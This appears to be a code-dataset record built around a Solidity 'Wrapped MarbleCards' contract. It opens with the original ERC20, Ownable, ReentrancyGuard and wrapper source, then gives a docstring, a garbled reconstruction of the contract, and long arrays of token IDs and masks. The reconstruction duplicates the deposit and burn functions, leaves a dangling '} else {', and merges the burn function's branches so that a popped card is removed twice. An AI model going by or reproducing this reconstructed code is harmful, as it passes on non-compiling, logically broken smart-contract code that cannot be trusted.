* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Helps contracts guard against reentrancy attacks.
* @author Remco Bloemen <remco@21.com>, Eenae <alexey@mixbytes.io>
* @dev If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor() public {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
/// @title Main contract for WrappedMarbleCards. Heavily inspired by the fine work of the WrappedKitties team
/// (https://wrappedkitties.com/) This contract converts MarbleCards between the ERC721 standard and the
/// ERC20 standard by locking marble.cards into the contract and minting 1:1 backed ERC20 tokens, that
/// can then be redeemed for marble cards when desired.
/// @notice When wrapping a marble card you get a generic WMC token. Since the WMC token is generic, it has no
/// no information about what marble card you submitted, so you will most likely not receive the same card
/// back when redeeming the token unless you specify that card's ID. The token only entitles you to receive
/// *a* marble card in return, not necessarily the *same* marblecard in return. A different user can submit
/// their own WMC tokens to the contract and withdraw the card that you originally deposited. WMC tokens have
/// no information about which card was originally deposited to mint WMC - this is due to the very nature of
/// the ERC20 standard being fungible, and the ERC721 standard being nonfungible.
contract WrappedMarbleCard is ERC20, Ownable, ReentrancyGuard {
// OpenZeppelin's SafeMath library is used for all arithmetic operations to avoid overflows/underflows.
using SafeMath for uint256;
/* ****** */
/* EVENTS */
/* ****** */
/// @dev This event is fired when a user deposits marblecards into the contract in exchange
/// for an equal number of WMC ERC20 tokens.
/// @param cardId The card id of the marble card that was deposited into the contract.
event DepositCardAndMintToken(
uint256 cardId
);
/// @dev This event is fired when a user deposits WMC ERC20 tokens into the contract in exchange
/// for an equal number of locked marblecards.
/// @param cardId The marblecard id of the card that was withdrawn from the contract.
event BurnTokenAndWithdrawCard(
uint256 cardId
);
/* ******* */
/* STORAGE */
/* ******* */
/// @dev An Array containing all of the marblecards that are locked in the contract, backing
/// WMC ERC20 tokens 1:1
/// @notice Some of the cards in this array were indeed deposited to the contract, but they
/// are no longer held by the contract. This is because withdrawSpecificCard() allows a
/// user to withdraw a card "out of order". Since it would be prohibitively expensive to
/// shift the entire array once we've withdrawn a single element, we instead maintain this
/// mapping to determine whether an element is still contained in the contract or not.
uint256[] private depositedCardsArray;
/// @dev Mapping to track whether a card is in the contract and it's place in the index
mapping (uint256 => DepositedCard) private cardsInIndex;
/// A data structure for tracking whether a card is in the contract and it's location in the array.
struct DepositedCard {
bool inContract;
uint256 cardIndex;
}
/* ********* */
/* CONSTANTS */
/* ********* */
/// @dev The metadata details about the "Wrapped MarbleCards" WMC ERC20 token.
uint8 constant public decimals = 18;
string constant public name = "Wrapped MarbleCards";
string constant public symbol = "WMC";
uint256 constant internal cardInWei = uint256(10)**decimals;
/// @dev The address of official MarbleCards contract that stores the metadata about each card.
/// @notice The owner is not capable of changing the address of the MarbleCards Core contract
/// once the contract has been deployed.
/// Ropsten Testnet
// address public cardCoreAddress = 0x5bb5Ce2EAa21375407F05FcA36b0b04F115efE7d;
/// Mainnet
address public cardCoreAddress = 0x1d963688FE2209A98dB35C67A041524822Cf04ff;
CardCore cardCore;
/* ********* */
/* FUNCTIONS */
/* ********* */
/// @notice Allows a user to lock marblecards in the contract in exchange for an equal number
/// of WMC ERC20 tokens.
/// @param _cardIds The ids of the marblecards that will be locked into the contract.
/// @notice The user must first call approve() in the MarbleCards Core contract on each card
/// that they wish to deposit before calling depositCardsAndMintTokens(). There is no danger
/// of this contract overreaching its approval, since the MarbleCards Core contract's approve()
/// function only approves this contract for a single marble card. Calling approve() allows this
/// contract to transfer the specified card in the depositCardsAndMintTokens() function.
function depositCardsAndMintTokens(uint256[] calldata _cardIds) external nonReentrant {
require(_cardIds.length > 0, 'you must submit an array with at least one element');
for(uint i = 0; i < _cardIds.length; i++){
uint256 cardToDeposit = _cardIds[i];
require(msg.sender == cardCore.ownerOf(cardToDeposit), 'you do not own this card');
require(cardCore.getApproved(cardToDeposit) == address(this), 'you must approve() this contract to give it permission to withdraw this card before you can deposit a card');
cardCore.transferFrom(msg.sender, address(this), cardToDeposit);
_pushCard(cardToDeposit);
emit DepositCardAndMintToken(cardToDeposit);
}
_mint(msg.sender, (_cardIds.length).mul(cardInWei));
}
/// @notice Allows a user to burn WMC ERC20 tokens in exchange for an equal number of locked
/// marblecards.
/// @param _cardIds The IDs of the cards that the user wishes to withdraw. If the user submits 0
/// as the ID for any card, the contract uses the last card in the array for that card.
/// @param _destinationAddresses The addresses that the withdrawn cards will be sent to (this allows
/// anyone to "airdrop" cards to addresses that they do not own in a single transaction).
function burnTokensAndWithdrawCards(uint256[] calldata _cardIds, address[] calldata _destinationAddresses) external nonReentrant {
require(_cardIds.length == _destinationAddresses.length, 'you did not provide a destination address for each of the cards you wish to withdraw');
require(_cardIds.length > 0, 'you must submit an array with at least one element');
uint256 numTokensToBurn = _cardIds.length;
require(balanceOf(msg.sender) >= numTokensToBurn.mul(cardInWei), 'you do not own enough tokens to withdraw this many ERC721 cards');
_burn(msg.sender, numTokensToBurn.mul(cardInWei));
for(uint i = 0; i < numTokensToBurn; i++){
uint256 cardToWithdraw = _cardIds[i];
if(cardToWithdraw == 0){
cardToWithdraw = _popCard();
} else {
require(isCardInDeck(cardToWithdraw), 'this card is not in the deck');
require(address(this) == cardCore.ownerOf(cardToWithdraw), 'the contract does not own this card');
_removeFromDeck(cardToWithdraw);
}
cardCore.transferFrom(address(this), _destinationAddresses[i], cardToWithdraw);
emit BurnTokenAndWithdrawCard(cardToWithdraw);
}
}
/// @notice Adds a locked marblecard to the end of the array
/// @param _cardId The id of the marblecard that will be locked into the contract.
function _pushCard(uint256 _cardId) internal {
// push() returns the new array length, sub 1 to get the index
uint256 index = depositedCardsArray.push(_cardId) - 1;
DepositedCard memory _card = DepositedCard(true, index);
cardsInIndex[_cardId] = _card;
}
/// @notice Removes an unlocked marblecard from the end of the array
/// @return The id of the marblecard that will be unlocked from the contract.
function _popCard() internal returns(uint256) {
require(depositedCardsArray.length > 0, 'there are no cards in the array');
uint256 cardId = depositedCardsArray[depositedCardsArray.length - 1];
_removeFromDeck(cardId);
return cardId;
}
/// @notice The owner is not capable of changing the address of the MarbleCards Core
/// contract once the contract has been deployed.
constructor() public {
cardCore = CardCore(cardCoreAddress);
}
/// @dev We leave the fallback function payable in case the current State Rent proposals require
/// us to send funds to this contract to keep it alive on mainnet.
function() external payable {}
/// @dev If any eth is accidentally sent to this contract it can be withdrawn by the owner rather than letting
/// it get locked up forever. Don't send ETH to the contract, but if you do, the developer will consider it a tip.
function extractAccidentalPayableEth() public onlyOwner returns (bool) {
require(address(this).balance > 0);
address(uint160(owner())).transfer(address(this).balance);
return true;
}
/// @dev Gets the index of the card in the deck
function _getCardIndex(uint256 _cardId) internal view returns (uint256) {
require(isCardInDeck(_cardId));
return cardsInIndex[_cardId].cardIndex;
}
/// @dev Will return true if the cardId is a card that is in the deck.
function isCardInDeck(uint256 _cardId) public view returns (bool) {
return cardsInIndex[_cardId].inContract;
}
/// @dev Remove a card by switching the place in the array
function _removeFromDeck(uint256 _cardId) internal {
// Get the index of the card passed above
uint256 index = _getCardIndex(_cardId);
// Get the last element of the existing array
uint256 cardToMove = depositedCardsArray[depositedCardsArray.length - 1];
// Move the card at the end of the array to the location
// of the card we want to void.
depositedCardsArray[index] = cardToMove;
// Move the card we are voiding to the end of the index
cardsInIndex[cardToMove].cardIndex = index;
// Trim the last card from the index
delete cardsInIndex[_cardId];
depositedCardsArray.length--;
}
}
|
@title Main contract for WrappedMarbleCards. Heavily inspired by the fine work of the WrappedKitties team (https://wrappedkitties.com/) This contract converts MarbleCards between the ERC721 standard and the ERC20 standard by locking marble.cards into the contract and minting 1:1 backed ERC20 tokens, that can then be redeemed for marble cards when desired. @notice When wrapping a marble card you get a generic WMC token. Since the WMC token is generic, it has no no information about what marble card you submitted, so you will most likely not receive the same card back when redeeming the token unless you specify that card's ID. The token only entitles you to receive *a* marble card in return, not necessarily the *same* marblecard in return. A different user can submit their own WMC tokens to the contract and withdraw the card that you originally deposited. WMC tokens have no information about which card was originally deposited to mint WMC - this is due to the very nature of the ERC20 standard being fungible, and the ERC721 standard being nonfungible. OpenZeppelin's SafeMath library is used for all arithmetic operations to avoid overflows/underflows.
|
contract WrappedMarbleCard is ERC20, Ownable, ReentrancyGuard {
using SafeMath for uint256;
event DepositCardAndMintToken(
uint256 cardId
);
event BurnTokenAndWithdrawCard(
uint256 cardId
);
uint256[] private depositedCardsArray;
mapping (uint256 => DepositedCard) private cardsInIndex;
struct DepositedCard {
bool inContract;
uint256 cardIndex;
}
string constant public name = "Wrapped MarbleCards";
string constant public symbol = "WMC";
uint256 constant internal cardInWei = uint256(10)**decimals;
CardCore cardCore;
uint8 constant public decimals = 18;
address public cardCoreAddress = 0x1d963688FE2209A98dB35C67A041524822Cf04ff;
function depositCardsAndMintTokens(uint256[] calldata _cardIds) external nonReentrant {
require(_cardIds.length > 0, 'you must submit an array with at least one element');
for(uint i = 0; i < _cardIds.length; i++){
uint256 cardToDeposit = _cardIds[i];
require(msg.sender == cardCore.ownerOf(cardToDeposit), 'you do not own this card');
require(cardCore.getApproved(cardToDeposit) == address(this), 'you must approve() this contract to give it permission to withdraw this card before you can deposit a card');
cardCore.transferFrom(msg.sender, address(this), cardToDeposit);
_pushCard(cardToDeposit);
emit DepositCardAndMintToken(cardToDeposit);
}
_mint(msg.sender, (_cardIds.length).mul(cardInWei));
}
function depositCardsAndMintTokens(uint256[] calldata _cardIds) external nonReentrant {
require(_cardIds.length > 0, 'you must submit an array with at least one element');
for(uint i = 0; i < _cardIds.length; i++){
uint256 cardToDeposit = _cardIds[i];
require(msg.sender == cardCore.ownerOf(cardToDeposit), 'you do not own this card');
require(cardCore.getApproved(cardToDeposit) == address(this), 'you must approve() this contract to give it permission to withdraw this card before you can deposit a card');
cardCore.transferFrom(msg.sender, address(this), cardToDeposit);
_pushCard(cardToDeposit);
emit DepositCardAndMintToken(cardToDeposit);
}
_mint(msg.sender, (_cardIds.length).mul(cardInWei));
}
function burnTokensAndWithdrawCards(uint256[] calldata _cardIds, address[] calldata _destinationAddresses) external nonReentrant {
require(_cardIds.length == _destinationAddresses.length, 'you did not provide a destination address for each of the cards you wish to withdraw');
require(_cardIds.length > 0, 'you must submit an array with at least one element');
uint256 numTokensToBurn = _cardIds.length;
require(balanceOf(msg.sender) >= numTokensToBurn.mul(cardInWei), 'you do not own enough tokens to withdraw this many ERC721 cards');
_burn(msg.sender, numTokensToBurn.mul(cardInWei));
for(uint i = 0; i < numTokensToBurn; i++){
uint256 cardToWithdraw = _cardIds[i];
if(cardToWithdraw == 0){
cardToWithdraw = _popCard();
require(isCardInDeck(cardToWithdraw), 'this card is not in the deck');
require(address(this) == cardCore.ownerOf(cardToWithdraw), 'the contract does not own this card');
_removeFromDeck(cardToWithdraw);
}
cardCore.transferFrom(address(this), _destinationAddresses[i], cardToWithdraw);
emit BurnTokenAndWithdrawCard(cardToWithdraw);
}
}
function burnTokensAndWithdrawCards(uint256[] calldata _cardIds, address[] calldata _destinationAddresses) external nonReentrant {
require(_cardIds.length == _destinationAddresses.length, 'you did not provide a destination address for each of the cards you wish to withdraw');
require(_cardIds.length > 0, 'you must submit an array with at least one element');
uint256 numTokensToBurn = _cardIds.length;
require(balanceOf(msg.sender) >= numTokensToBurn.mul(cardInWei), 'you do not own enough tokens to withdraw this many ERC721 cards');
_burn(msg.sender, numTokensToBurn.mul(cardInWei));
for(uint i = 0; i < numTokensToBurn; i++){
uint256 cardToWithdraw = _cardIds[i];
if(cardToWithdraw == 0){
cardToWithdraw = _popCard();
require(isCardInDeck(cardToWithdraw), 'this card is not in the deck');
require(address(this) == cardCore.ownerOf(cardToWithdraw), 'the contract does not own this card');
_removeFromDeck(cardToWithdraw);
}
cardCore.transferFrom(address(this), _destinationAddresses[i], cardToWithdraw);
emit BurnTokenAndWithdrawCard(cardToWithdraw);
}
}
function burnTokensAndWithdrawCards(uint256[] calldata _cardIds, address[] calldata _destinationAddresses) external nonReentrant {
require(_cardIds.length == _destinationAddresses.length, 'you did not provide a destination address for each of the cards you wish to withdraw');
require(_cardIds.length > 0, 'you must submit an array with at least one element');
uint256 numTokensToBurn = _cardIds.length;
require(balanceOf(msg.sender) >= numTokensToBurn.mul(cardInWei), 'you do not own enough tokens to withdraw this many ERC721 cards');
_burn(msg.sender, numTokensToBurn.mul(cardInWei));
for(uint i = 0; i < numTokensToBurn; i++){
uint256 cardToWithdraw = _cardIds[i];
if(cardToWithdraw == 0){
cardToWithdraw = _popCard();
require(isCardInDeck(cardToWithdraw), 'this card is not in the deck');
require(address(this) == cardCore.ownerOf(cardToWithdraw), 'the contract does not own this card');
_removeFromDeck(cardToWithdraw);
}
cardCore.transferFrom(address(this), _destinationAddresses[i], cardToWithdraw);
emit BurnTokenAndWithdrawCard(cardToWithdraw);
}
}
} else {
function _pushCard(uint256 _cardId) internal {
uint256 index = depositedCardsArray.push(_cardId) - 1;
DepositedCard memory _card = DepositedCard(true, index);
cardsInIndex[_cardId] = _card;
}
function _popCard() internal returns(uint256) {
require(depositedCardsArray.length > 0, 'there are no cards in the array');
uint256 cardId = depositedCardsArray[depositedCardsArray.length - 1];
_removeFromDeck(cardId);
return cardId;
}
constructor() public {
cardCore = CardCore(cardCoreAddress);
}
function() external payable {}
function extractAccidentalPayableEth() public onlyOwner returns (bool) {
require(address(this).balance > 0);
address(uint160(owner())).transfer(address(this).balance);
return true;
}
function _getCardIndex(uint256 _cardId) internal view returns (uint256) {
require(isCardInDeck(_cardId));
return cardsInIndex[_cardId].cardIndex;
}
function isCardInDeck(uint256 _cardId) public view returns (bool) {
return cardsInIndex[_cardId].inContract;
}
function _removeFromDeck(uint256 _cardId) internal {
uint256 index = _getCardIndex(_cardId);
uint256 cardToMove = depositedCardsArray[depositedCardsArray.length - 1];
depositedCardsArray[index] = cardToMove;
cardsInIndex[cardToMove].cardIndex = index;
delete cardsInIndex[_cardId];
depositedCardsArray.length--;
}
}
| 12,690,396 |
[
1,
4625,
348,
7953,
560,
30,
225,
632,
2649,
12740,
6835,
364,
24506,
49,
6779,
298,
30492,
18,
8264,
842,
3220,
316,
1752,
2921,
635,
326,
11079,
1440,
434,
326,
24506,
14102,
88,
606,
5927,
225,
261,
4528,
2207,
18704,
8691,
88,
606,
18,
832,
19,
13,
1220,
6835,
7759,
490,
6779,
298,
30492,
3086,
326,
4232,
39,
27,
5340,
4529,
471,
326,
225,
4232,
39,
3462,
4529,
635,
18887,
312,
6779,
298,
18,
3327,
87,
1368,
326,
6835,
471,
312,
474,
310,
404,
30,
21,
20732,
4232,
39,
3462,
2430,
16,
716,
225,
848,
1508,
506,
283,
24903,
329,
364,
312,
6779,
298,
18122,
1347,
6049,
18,
632,
20392,
5203,
14702,
279,
312,
6779,
298,
5270,
1846,
336,
279,
5210,
678,
20022,
1147,
18,
7897,
326,
678,
20022,
1147,
353,
5210,
16,
518,
711,
1158,
225,
1158,
1779,
2973,
4121,
312,
6779,
298,
5270,
1846,
9638,
16,
1427,
1846,
903,
4486,
10374,
486,
6798,
326,
1967,
5270,
225,
1473,
1347,
283,
24903,
310,
326,
1147,
3308,
1846,
4800,
716,
5270,
1807,
1599,
18,
1021,
1147,
1338,
3281,
9398,
1846,
358,
6798,
225,
380,
69,
14,
312,
6779,
298,
5270,
316,
327,
16,
486,
23848,
326,
380,
14307,
14,
312,
6779,
298,
3327,
316,
327,
18,
432,
3775,
729,
848,
4879,
225,
3675,
4953,
678,
20022,
2430,
358,
326,
6835,
471,
598,
9446,
326,
5270,
716,
1846,
24000,
443,
1724,
329,
18,
678,
20022,
2430,
1240,
225,
1158,
1779,
2973,
1492,
5270,
1703,
24000,
443,
1724,
329,
358,
312,
474,
678,
20022,
300,
333,
353,
6541,
358,
326,
8572,
28700,
434,
225,
326,
4232,
39,
3462,
4529,
3832,
9831,
75,
1523,
16,
471,
326,
4232,
39,
27,
5340,
4529,
3832,
1661,
12125,
75,
1523,
18,
3502,
62,
881,
84,
292,
267,
1807,
14060,
10477,
5313,
353,
1399,
364,
777,
30828,
5295,
358,
4543,
9391,
87,
19,
9341,
24190,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
24506,
49,
6779,
298,
6415,
353,
4232,
39,
3462,
16,
14223,
6914,
16,
868,
8230,
12514,
16709,
288,
203,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
203,
565,
871,
4019,
538,
305,
6415,
1876,
49,
474,
1345,
12,
203,
3639,
2254,
5034,
5270,
548,
203,
565,
11272,
203,
203,
565,
871,
605,
321,
1345,
1876,
1190,
9446,
6415,
12,
203,
3639,
2254,
5034,
5270,
548,
203,
565,
11272,
203,
203,
203,
565,
2254,
5034,
8526,
3238,
443,
1724,
329,
30492,
1076,
31,
203,
203,
565,
2874,
261,
11890,
5034,
516,
4019,
538,
16261,
6415,
13,
3238,
18122,
382,
1016,
31,
203,
203,
565,
1958,
4019,
538,
16261,
6415,
288,
203,
3639,
1426,
316,
8924,
31,
203,
3639,
2254,
5034,
5270,
1016,
31,
203,
565,
289,
203,
203,
565,
533,
5381,
1071,
508,
273,
315,
17665,
490,
6779,
298,
30492,
14432,
203,
565,
533,
5381,
1071,
3273,
273,
315,
59,
20022,
14432,
203,
565,
2254,
5034,
5381,
2713,
5270,
382,
3218,
77,
273,
2254,
5034,
12,
2163,
13,
636,
31734,
31,
203,
203,
565,
14338,
4670,
5270,
4670,
31,
203,
203,
203,
203,
565,
2254,
28,
5381,
1071,
15105,
273,
6549,
31,
203,
565,
1758,
1071,
5270,
4670,
1887,
273,
374,
92,
21,
72,
29,
4449,
26,
5482,
8090,
27246,
29,
37,
10689,
72,
38,
4763,
39,
9599,
37,
3028,
3600,
3247,
24532,
39,
74,
3028,
1403,
31,
203,
203,
565,
445,
443,
1724,
30492,
1876,
49,
474,
5157,
12,
11890,
5034,
8526,
745,
892,
389,
3327,
2673,
13,
3903,
1661,
426,
8230,
970,
288,
203,
3639,
2583,
24899,
3327,
2673,
18,
2469,
405,
374,
16,
296,
19940,
1297,
4879,
392,
526,
598,
622,
4520,
1245,
930,
8284,
203,
3639,
364,
12,
11890,
277,
273,
374,
31,
277,
411,
389,
3327,
2673,
18,
2469,
31,
277,
27245,
95,
203,
5411,
2254,
5034,
5270,
774,
758,
1724,
273,
389,
3327,
2673,
63,
77,
15533,
203,
5411,
2583,
12,
3576,
18,
15330,
422,
5270,
4670,
18,
8443,
951,
12,
3327,
774,
758,
1724,
3631,
296,
19940,
741,
486,
4953,
333,
5270,
8284,
203,
5411,
2583,
12,
3327,
4670,
18,
588,
31639,
12,
3327,
774,
758,
1724,
13,
422,
1758,
12,
2211,
3631,
296,
19940,
1297,
6617,
537,
1435,
333,
6835,
358,
8492,
518,
4132,
358,
598,
9446,
333,
5270,
1865,
1846,
848,
443,
1724,
279,
5270,
8284,
203,
5411,
5270,
4670,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
5270,
774,
758,
1724,
1769,
203,
5411,
389,
6206,
6415,
12,
3327,
774,
758,
1724,
1769,
203,
5411,
3626,
4019,
538,
305,
6415,
1876,
